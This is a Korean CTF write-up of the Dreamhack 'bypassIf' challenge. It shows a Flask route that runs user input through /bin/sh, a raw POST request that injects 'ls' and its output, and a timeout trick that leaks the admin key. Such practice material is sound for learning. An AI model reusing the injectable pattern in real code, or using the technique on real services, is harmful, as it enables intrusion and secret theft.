Dreamhack-bypassIf 문제 풀이

Posted by : at

Category : web_hacking



0. 행위 확인


Burp에 넣고 해당 사이트의 하위 URL을 다 들어가 봤다. Sitemap을 확인하기 위한 절차

/assets/img/posts/2024-12-01-bypassIf/image.png


/flag 서브url이 보인다.

GET에 파라미터가 들어간다면 그렇게 들어간 파라미터가 이후 flow에서 페이지 템플릿에 반영되는지 여부를 확인하여 rXSS를 해볼 수 있을 것 같은데,

그건 없는 것 같다.

그렇다면 유저와 상호작용하는 부분은 저기 POST 요청만 남는다.

해당 부분을 확인해 보자.

/assets/img/posts/2024-12-01-bypassIf/image.png


내가 테스트 겸 입력했던 key 값이 들어가 있다.

뭔가 정답이 아니면 302 응답을 통해 루트 도메인으로 리다이렉팅 해주는 것 같다.

문제 제목이 bypassif이니, 아마 if문을 통해 정답 여부를 판별하는 것 같다.

서버 단 에러 메시지를 유발해 웹 프레임워크의 기능을 bypass할지 / 웹 서비스의 기능을 bypass할지 여부를 판별해 보는 것도 흥미로운 접근일 듯해 시도해 보았다.

(높은 확률로 서비스 기능이겠지만 재미있을 것 같아 오버헤드를 감수했다)


/assets/img/posts/2024-12-01-bypassIf/image.png

/assets/img/posts/2024-12-01-bypassIf/image.png


쿠키가 없는 요청이기 때문에 Repeater로 보내 리플레이하더라도 아무 문제 없다.

특수 문자를 넣은 키값을 보내 보았는데 요청 자체는 동일하다. 서버 단에서 그냥 string으로 처리하는 것으로 보이는데….

이제 소스를 들여다보자.


1. 소스 확인(정적 분석)


@app.route('/flag', methods=['POST'])
def flag():
     # POST request
    if request.method == 'POST':
        key = request.form.get('key', '')
        cmd = request.form.get('cmd_input', '')
        if cmd == '' and key == KEY:
            return render_template('flag.html', txt=FLAG)
        elif cmd == '' and key == guest_key:
            return render_template('guest.html', txt=f"guest key: {guest_key}")
        if cmd != '' or key == KEY: # or로 해둬서 관리자 키값이 필요 없음
            if not filter_cmd(cmd):
                try:
                    output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
                    return render_template('flag.html', txt=output.decode('utf-8'))
                except subprocess.TimeoutExpired:
                    return render_template('flag.html', txt=f'Timeout! Your key: {KEY}')
                except subprocess.CalledProcessError:
                    return render_template('flag.html', txt="Error!")
            return render_template('flag.html')
        else:
            return redirect('/')
    else: 
        return render_template('flag.html')
        
        
# filtering
def filter_cmd(cmd):
    alphabet = list(string.ascii_lowercase)
    alphabet.extend([' '])
    num = '0123456789'
    alphabet.extend(num)
    command_list = ['flag','cat','chmod','head','tail','less','awk','more','grep']

    for c in command_list:
        if c in cmd:
            return True
    for c in cmd:
        if c not in alphabet:
            return True


ls -al 해봐야지

커맨드에 띄어쓰기를 넣고 싶어서(ls -al) content-type 헤더에 appliation/json을 추가했는데, 서버에서 인식을 못하는 것 같음

그래서 아래처럼 request를 보내보았음


POST /flag HTTP/1.1
Host: localhost:8000
Content-Length: 12
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: ko-KR
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/assets/img/posts/2024-12-01-bypassIf/image/avif,/assets/img/posts/2024-12-01-bypassIf/image/webp,/assets/img/posts/2024-12-01-bypassIf/image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

cmd_input=ls


그랬더니 아래와 같은 response를 받음


.
.
.
<pre>Dockerfile
app.py
flag.txt
requirements.txt
static
templates
</pre>
.
.
.


이건 파이썬 라이브러리인 subprocess.TimeoutExpired의 취약점을 공략하는 게 아니라면

필터링에 안 걸리게 cat flag.txt를 하는 게 아닐까 싶다.

그런데 필터링 못 뚫을 것 같은데. 특수기호 사용이 애초에 막혀있고, application/x-www-form-urlencoded 형식의 Content-Type은 공백만 +로 인코딩해서 보내는지라

엥? timeout=5 조건이 있잖아

저거만 걸리면 exception 들어갈 것 같다.

/assets/img/posts/2024-12-01-bypassIf/image.png


맞았다.

실제 서버를 생성해 요청을 보내보았다.

/assets/img/posts/2024-12-01-bypassIf/image.png

/assets/img/posts/2024-12-01-bypassIf/image.png


admin의 key를 알았으니, if cmd == '' and key == KEY: 로 들어갈 수 있도록 요청을 보내보자. 해당 브랜치로 들어가면 FLAG를 리턴하도록 되어 있으니…

/assets/img/posts/2024-12-01-bypassIf/image.png


플래그를 가져왔다.


About TouBVA
TouBVA

A Security Researcher, now concentrating on Security Consulting.

Email : touBVa@gmail.com

Website : https://toubva.github.io